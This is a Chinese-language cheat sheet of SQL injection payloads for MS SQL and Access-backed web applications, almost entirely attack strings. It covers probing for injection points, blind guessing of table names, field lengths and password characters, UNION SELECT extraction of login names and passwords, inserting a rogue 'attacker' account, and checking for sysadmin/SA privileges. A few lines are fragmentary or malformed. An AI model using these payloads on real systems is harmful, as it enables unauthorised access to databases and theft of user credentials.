1.判断有无注入点' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0(select count(*) from *)and 0(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0 5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 1 2 3 4 5 6 7 8 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 错误 and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 and 1=(select count(*) from admin where len(name)=6) 正确 and 1=(select count(*) from admin where len(password)>11) 正确 and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
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and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
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and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
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'group by users.id having 1=1--
'group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
看服务器打的补丁=出错了打了SP4补丁
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and 1=(select @@VERSION)--
看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
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and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0(select user_name()--